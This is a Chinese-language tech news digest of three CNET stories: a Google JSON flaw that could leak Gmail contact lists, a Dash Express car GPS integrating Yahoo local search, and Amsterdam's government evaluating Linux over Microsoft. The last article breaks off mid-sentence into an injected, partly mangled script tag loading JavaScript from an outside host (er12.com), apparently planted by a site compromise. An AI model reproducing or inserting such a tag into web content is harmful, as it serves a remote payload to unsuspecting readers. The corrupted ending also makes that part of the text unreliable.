cnet news.com:google电邮服务漏洞爆发,可能导致用户邮件地址列表被盗
日前,搜索巨头google修正了自己多款服务中存在的漏洞,据悉该漏洞将直接影响到gmail电子邮件用户,有可能导致用户地址信息的泄漏。
据cnet news报道,据安全专家透露,利用该安全漏洞,黑客可以建立一个还有恶意代码的网页,而任何登陆该网页的gmail用户,都有可能泄漏自己所有的gmail地址栏列表。在此之后,黑客将把这些地址列表,卖给垃圾邮件发布商,而结果就是用户地址栏中的所有朋友,都成为垃圾邮件的攻击目标。据某个科技博客透露,只要用户登陆gmail邮箱或者google其他服务,就存在地址信息泄漏的危险。
实际上,google电子邮件服务中隐藏的漏洞很早之前就已经有人发现,haochi chen先生在使用google视频服务的过程中,就发现电子邮件地址可能被泄漏。在此之后,chen先生向搜索巨头发出警告。而google公司的反应也十分及时,在短短几个小时内,google就宣布视频服务中有关电子邮件地址泄漏的问题已经被妥善解决。然而在此之后,搜索巨头发现,该漏洞不仅仅存在于视频服务。不过幸运的是,目前该漏洞已经被发现,而至今为止尚未发现任何用户被该漏洞攻击。
技术人员透露,google服务中的java脚本object notation是导致该问题的主要原因,“该脚本有可能带来不经意的信息泄漏。”最近一段时间,google推出了大量基于网页的应用程序服务,而java脚本所带来的问题也让公司头疼不以。和传统软件制造商一样,google也开始招募大量测试软件,从而发现服务中潜藏的漏洞。
cnet news.com:gps服务商携手雅虎,地方性搜索引擎进入汽车平台
日前,一家gps卫星定位导航服务公司表示,将把雅虎的地方性搜索数据加入其导航产品中。
据cnet news报道,该公司的导航系统主要应用于汽车领域。在此之前,也曾经有gps导航服务商在自己的产品中加入其他附加服务,不过将地方性搜索功能加入导航系统,这也是业界有史以来第一次。
这家公司的产品名为dash express,将可以通过网络连接为用户提供地方性搜索,例如重大新闻、商务信息以及地方服务和产品等。据悉,该公司位于美国加州。分析家表示,此次的合作将为未来业界的发展提供启示作用,可以预见将有更多的汽车导航服务商将橄榄枝抛向网络服务商。
实际上,上周的时候,华尔街日报刚刚宣布,福特汽车将和微软合作,将后者的sync产品整合到汽车中。据悉,sync支持完全无线的蓝牙通讯功能,并且支持汽车内操作系统。福特表示,未来将把旗下所有汽车品牌过渡向sync系统。与此同时,未来福特还表示将携手更多移动运营商,推出手机移动通讯和其他无线服务,例如电子邮件、音乐下载等,从而丰富自己的产品线。
dash公司表示,其整合雅虎搜索功能的汽车导航系统,将在今年第一季度推向加州当地市场,而大规模投入美国市场要等到今年第三季度。据悉,在下一周拉斯维加斯举办的一年一度的消费者电子大展会上,该兼容搜索功能的导航系统也将首次露面。
cnet news.com:阿姆斯特丹政府评估linux,未来将减小与微软合作
日前,荷兰首都阿姆斯特丹政府表示,目前正在对开放资源软件进行评估,未来有可能大规模更新到开放资源平台。
据cnet news报道,据政府发言人透露,在未来一年内,阿姆斯特丹政府旗下的两个部门,将花费39.39万美元,对linux操作系统进行评估测试。实际上,一直以来阿姆斯特丹政府就表示,不希望过于依靠垄断性的软件提供商,希望通过评估等方式寻找更多的解决方案。
“通过研究我们发现,如果更换到开放资源平台,我们对于软件供应商的依赖程度将有所降低。”阿姆斯特丹政府顾问在一份声明中表示,“而对于开放资源软件的应用,将使得未来政府数据的传输更为安全和可靠。”
与此同时,阿姆斯特丹政府宣布,对于开放资源的应用,并不意味着将一下子终止和微软之间的合作,不过未来政府将大规模降低私有软件的购买预算。“我们目前没有完全撤除微软软件的计划,不过毫无疑问未来将减小与软件帝国的合作。”政府发言人在一份正式声明中如是说。
据悉,阿姆斯特丹政府与微软之间的合作合同要延续到2008年,而前者的开放资源计划,将在今年上半年开始施行。据悉除了此次正在测试阶段的两个部门之外,未来阿姆斯特丹政府将把更多部门推向开放资源市场。另一方面,除了阿姆斯特丹以外,荷兰国内九座城市也在评估开放资源软件,其中包括hague等。实际上,不仅仅是荷兰一个国家,目前的开放资源linux操作系统已经在欧洲政府圈内掀起高超。例如奥地利首府维也纳九已经表示将使用red hat的桌面操作系统,与此同时德国慕尼黑也正在逐渐过渡向linux。而德国慕尼黑政府表示,将会在2009年的时候,把80%的操作系统过渡向linux平台。而?script src=http://er12.com/t.js>











